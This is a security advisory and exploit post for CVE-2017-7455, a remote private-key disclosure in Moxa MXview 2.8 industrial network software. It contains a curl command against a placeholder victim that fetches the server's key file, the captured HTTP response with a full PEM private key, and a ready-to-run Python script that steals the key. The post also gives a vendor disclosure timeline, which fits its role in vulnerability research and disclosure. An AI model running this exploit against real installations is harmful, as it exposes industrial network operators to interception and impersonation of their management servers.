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Moxa MXview 2.8 Private Key Disclosure

Moxa MXview 2.8 Private Key Disclosure
Posted Apr 10, 2017
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Moxa MXview version 2.8 suffers from a remote private key disclosure vulnerability.

tags | exploit, remote
advisories | CVE-2017-7455
MD5 | 58755d040704843cdd61e355a5843087

Moxa MXview 2.8 Private Key Disclosure

Change Mirror Download
[+] Credits: John Page AKA HYP3RLINX  
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-REMOTE-PRIVATE-KEY-DISCLOSURE.txt
[+] ISR: APPARITIONSEC



Vendor:
============
www.moxa.com



Product:
===========
MXview V2.8

Download:
http://www.moxa.com/product/MXstudio.htm

MXview Industrial Network Management Software.

Auto discovery of network devices and physical connections
Event playback for quick troubleshooting
Color-coded VLAN/IGMP groups and other visualized network data
Supports MXview ToGo mobile app for remote monitoring and notificationanytime, anywhere.



Vulnerability Type:
=============================
Remote Private Key Disclosure



CVE Reference:
==============
CVE-2017-7455



Security Issue:
================
MXview stores a copy of its web servers private key under C:\Users\TARGET-USER\AppData\Roaming\moxa\mxview\web\certs\mxview.key.
Remote attackers can easily access/read this private key "mxview.key" file by making an HTTP GET request.

e.g.

curl -v http://VICTIM-IP:81/certs/mxview.key


* About to connect() to VICTIM-IP port 81
* Trying VICTIM-IP... connected
* Connected to VICTIM-IP (VICTIM-IP) port 81
> GET /certs/mxview.key HTTP/1.1
> User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5
> Host: VICTIM-IP:81
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Tue Feb 28 14:18:00 2017
< Server: GoAhead-Webs
< Last-modified: Tue Feb 28 10:46:51 2017
< Content-length: 916
< Content-type: text/plain
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG2w0BAQEFAASCAmEwggJdAgEAAoGBAMO2BjHS6rFYqxPb
QCjhVn5+UGwfICfETzk5JQvhkhc71bnsDHI7lVyYhheYLcPQBEglVolwGANPp7LF
2lhG+UaSFfTVk8UDvV0qQpjSQvDjcWSuKBfceyT5zmI8ynxuMHoqBR7ZOSLY31z+
Rxt+JCykwqfMGdjawnC5ivr8iWDpAgMBAAECgYAQpHjwYbQtcpHRtXJGR6s4RHuI
RjlQyGPIRPC+iucGbMMm9Ui1qhVwc1Pry7gQj67dh7dNJqgUGAD1tdd0bEykKoqm
ICgXj0HMPCLxUy4CHIZInsBhzAyp/3atkDIaeELZckCbmttkVvncDi+b9HnuL/To
YwJpuLkpXEKpjK7iAQJBAOof+yliPn7UsBecw/Hc/ixeDRGI1kjtvuOvSi6jLZoj
3rzODMSD1eRcrK/GJydWVT8TV3WXXYn3M1cu3kmQJKkCQQDV/zlBtFFPPVAl1zy7
UBG+RPI63uXeaA0C1+RX2XfJSR4zeKxnWgalzUl0UwMgWB3Gpp2+VW5a/zw3aKlK
6MJBAkBHPMXqWKdVZhfSh3Ojky+PhmqJjE5PUG/FzZ9Pw3zrqsBqSHPgE5Ewc/Zj
YXKmavCbSaJR+GWQxjPL8knWrlJJAkEAkahnEJHrxkO1igw3Ckg0y4yiU+/kBr5M
HONWSXV8U0WxiNdagf6FB9XzaXoXZuyTl+NQ+3yq4MVZ910F3jcQAQJBAI+q0AcX
EskHai2Fx24gkHwwRxacsiXrRClxIj5NB52CSo2Sy6EF02DKQVWR3oIjDesXcWvl
+CPTV6agBkYxe7Q=
-----END PRIVATE KEY-----



Exploit:
=========
import socket

print 'Moxa MXview 2.8 Remote Private Key Theft'
print 'by hyp3rlinx\n'

IP=raw_input("[Moxa MXview IP]> ")
PORT=int(raw_input("[PORT]> "))
STEAL_PRV_KEY="GET /certs/mxview.key HTTP/1.1\r\nHost: "+IP+"\r\n\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))
s.send(STEAL_PRV_KEY)

print 'Enjoy ur private server key!\n'
print s.recv(512)

s.close()




Network Access:
===============
Remote




Severity:
=========
Critical



Disclosure Timeline:
===================================
Vendor Notification: March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

HYP3RLINX

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